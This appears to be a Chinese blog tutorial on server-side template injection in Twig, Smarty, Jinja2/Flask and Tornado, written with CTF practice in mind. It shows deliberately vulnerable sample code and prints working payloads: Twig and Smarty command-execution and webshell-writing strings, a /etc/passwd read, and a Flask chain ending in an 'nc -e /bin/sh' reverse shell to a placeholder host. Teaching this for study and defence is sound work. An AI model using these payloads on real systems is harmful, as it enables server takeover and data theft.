白袍的小行星

浅谈模板注入

字数统计: 2.4k阅读时长: 9 min
2021/03/17 Share

前置知识:PHP基础,Python基础

SSTI,即服务端模板注入,指服务端的模板引擎接受用户输入,未做相应的安全检查,导致用户可以注入恶意的代码,使其被模板引擎解析,造成任意文件读取、命令执行等等。
模板注入并非某个语言的专属漏洞,只要使用了模板的地方都有可能出现模板注入。

0x2 常见模板引擎

PHP

  1. Smarty:古老的模板引擎,应用广泛
  2. Twig:来自Symfony,易于安装使用

Python

  1. Jinja2:Flask框架的一部分,以Django的模板为模型
  2. django:以快速开发著称
  3. tornado:强调异步非阻塞高并发

0x3 代码实例

PHP实例

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));
echo $output;

这里的render()方法即模板渲染,内容为"Hello "name来自用户输入。此处不存在XSS或模板注入,原因是模板引擎在渲染时一般都会将一些特殊字符进行转义,并且因为这里的可控变量在花括号内,无法逃逸出来,所以是安全的。

但下面这段代码:

<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}");
echo $output;

这里直接拼接了用户的输入,没有进行检查或者过滤,所以我们可以插入JavaScript代码进行XSS攻击,或者插入能被模板引擎解析的恶意语句进行模板注入。

Python实例

@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

一段Flask代码,直接使用了用户输入的字符串,虽然没有用模板语法,但还是使用了模板渲染,所以依然存在模板注入。

import sys
from jinja2 importTemplate

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

同上,不再赘述。

0x4 检测方法

同SQL注入一样,模板注入的检测方法也是基于判断语句是否被执行。发送含有符合模板引擎语法的payload,得到回显,判断是否被服务端解析。

如图所示:
20210317155848SSTI浅析-检测原理

0x5 利用

对于模板注入,利用方式主要从四个方面来思考:

  1. 模板本身支持的语法、内置变量、属性、函数
  2. 框架的全局变量、属性、函数
  3. 语言本身的特性
  4. 应用的设计、定义

0x01 模板特性

1. Twig

Twig存在一个全局变量_self,它是一个对象,可以返回当前 \Twig\Template 实例:
20210317155908B7CB1CCE-D6D8-495E-A663-94E3CB4DF93C
借助它我们可以调用实例的方法活访问属性。
\Twig\Template 实例有一个属性env,可以在文档示例中找到:
202103171559218A807A4E-EB00-4F07-BE4D-E7E8840CA014
env属性是一个Environment对象,此对象有一个setCache方法,作用为设置缓存位置:
202103171559360ACE4C5A-4A00-43ED-B7AF-C7436E451DED
那么便可以利用此方法来进行远程文件包含,还需要再进行模板加载:

{{_self.env.setCache("ftp://test.com:1337")}}
{{_self.env.loadTemplate("webshell")}}

注:此处的payload测试未成功,使用FTP协议会因为目录多了一些其他字符导致无法读取,使用HTTP协议会直接报错

还可以使用其他方法,即registerUndefinedFilterCallback()getFilter()

public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}

public function getFilter($name)
{
if (!$this->extensionInitialized) {
$this->initExtensions();
}

if (isset($this->filters[$name])) {
return $this->filters[$name];
}

foreach ($this->filters as $pattern => $filter) {
$pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count);

if ($count) {
if (preg_match('#^'.$pattern.'$#', $name, $matches)) {
array_shift($matches);
$filter->setArguments($matches);

return $filter;
}
}
}

foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = \call_user_func($callback, $name)) {
return $filter;
}
}

return false;
}

registerUndefinedFilterCallback()接收的参数传入filterCallbacks[],它在getFilter()中被循环传入call_user_func()函数,此函数可以被用来进行代码执行。

20210317155952BBF09279-9B3B-47D0-8B4B-E1DE7365AD61
所以当我们使用

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

相当于调用exec('id').

以上的payload只能在Twig 1.x版本使用,在之后的2.x和3.x版本中,_self变量只能获取到当前的实例名:
202103171601384619650C-4253-4793-A2C3-38ABA47BEE90

以下payload在Twig 3.x 版本测试通过:

{{["id"]|map("system")|join(",")
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

在XVWA靶场中有Twig 1.x版本的SSTI,项目地址:https://github.com/s4n7h0/xvwa

2. Smarty

因为Smarty存在安全模式,无法调用在安全函数白名单以外的函数,所以还是依靠模板自身特性完成。
在Smarty中,有一个内置变量$smarty,可以访问各种环境变量,如:

{$smarty.config} //获取配置变量
{$smarty.version} //返回编译当前模板的Smarty版本

还可以利用Smarty类的静态方法,如getStreamVariable()

public function getStreamVariable(Smarty_Internal_Data $data, $variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($data->smarty) ? $data->smarty : $data;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}

此方法可以读取一个文件并返回其内容,可以利用它进行文件读取:

{self::getStreamVariable("file:///etc/passwd")}

在3.1.30版本中,此方法已被删除。

同样地,利用Smarty_Internal_Write_File类的writeFile方法来写文件,也已经被删除:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

writeFile方法的三个参数分别为文件路径,文件内容,还有一个Smarty 类型的参数,使用self::clearConfig(),它会返回一个Smarty 类型的变量。

我们还可以使用以下方法进行利用:

{if}标签

它和PHP中的if相似,全部的PHP条件表达式和函数都可以在if内使用,所以可以直接执行代码:
{if phpinfo}{/if}

{php}标签

在Smarty3.1,{php}仅在SmartyBC中可用,其余已经废弃。
{php}phpinfo();{/php}

相关题目:CISCN2019华东南赛区Web11,buuctf平台可以练习。

0x02 框架特性

1. Jinja2/Flask

Flask模板中,有一个全局对象config,它代表了当前配置对象(flask.config),是一个类字典的对象,里面包含了所有应用程序的配置。
config 对象有很多方法,其中一些可以用来命令执行。
from_pyfile():

def from_pyfile(self, filename, silent=False):

filename = os.path.join(self.root_path, filename)
d = types.ModuleType('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True

这个方法会接收一个文件传入,将其使用compile()编译成字节码,再使用exec()执行,exec()的介绍如下:
20210317160123B522030A-E8E2-48B3-BDE6-0CB5A98FCE06
做个测试:

20210317160205d.__dict__

20210317160229d.__dict__2

我们输入执行的代码被放入了d.__dict__中,而在这之后,函数中调用了from_object()

def from_object(self, obj):
if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)

它会遍历obj的属性,并且找到是大写字母的属性,将属性的值赋给self[key],如果有这样的一个文件:

from os import system
SHELL = system

当它被from_pyfile()读取时,会先被执行,其所执行的代码会被放入d.__dict__d被传递给from_object(),之后其属性SHELL就会赋值给self[key],那我们通过config['SHELL']的形式就可以调用system(),从而实现命令执行。

但这种方法使用的前提就是要控制文件,这时候就要用到一些沙盒逃逸方面的知识。
在Python中,object类是所有对象的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

一些常用的属性:

__class__ # 返回一个实例所属的类
__dict__ # 保存类实例或对象实例的属性变量键值对字典
__mro__ # 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析
__bases__ # 以元组形式返回一个类直接所继承的类,即直接父类
__base__ # 单个返回当前类所继承的类
__subclassess__ # 以列表返回类的子类
__init__ # 类的初始化方法
__globals__ # 对包含函数全局变量的字典的引用

来个例子加深理解,字符串实例所属的类:
202103171602426405D4E3-84AA-4252-A424-FAB73F9C277D
它所属的基类:
202103171602513E51A84A-2C11-4650-9D4F-6FE375AA877B
所属基类的子类(截取不完全):
20210317160303F46C15FB-5517-48C7-84E2-EB4FAD38CB10
从中寻找合适的类和方法利用,如os._wrap_close,具体位置根据情况确定:
2021031716031898ECACC4-704C-43AB-84FC-B2A221909EBF
初始化这个类,再查找此类的所有变量及方法:
202103171603278B57DB43-D944-4C20-9BCD-9465F5D265C4
利用其中的方法执行命令:
2021031716033793A8BAAA-076D-43A8-AAC5-3CB31F3740CB

所以,对于上文所说的Flask模板注入利用,我们可以构造payload如下:

# 写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}

# 加载system
{{ config.from_pyfile('/tmp/evil') }}

# 执行命令反弹SHELL
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}

2. Tornado

在tornado模板中,存在一些可以访问的快速对象,比如:
20210317160847IUiu59
handler.settings对象,里面存储着一些环境变量。

202103171603542CDC609C-655B-4979-A8DE-2BF7DE369C1E

handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings指向RequestHandler.application.settings

相关题目:护网杯 2018-easy_tornado,buuctf平台可练习

0x6 总结

模板注入在CTF中经常遇到,现实环境中较少。由于时间关系,只做了相关原理的说明,未涉及Bypass内容。

CATALOG
  1. 1. 0x2 常见模板引擎
    1. 1.1. PHP
    2. 1.2. Python
  2. 2. 0x3 代码实例
    1. 2.1. PHP实例
    2. 2.2. Python实例
  3. 3. 0x4 检测方法
  4. 4. 0x5 利用
    1. 4.1. 0x01 模板特性
      1. 4.1.1. 1. Twig
      2. 4.1.2. 2. Smarty
        1. 4.1.2.1. {if}标签
        2. 4.1.2.2. {php}标签
    2. 4.2. 0x02 框架特性
      1. 4.2.1. 1. Jinja2/Flask
      2. 4.2.2. 2. Tornado
  5. 5. 0x6 总结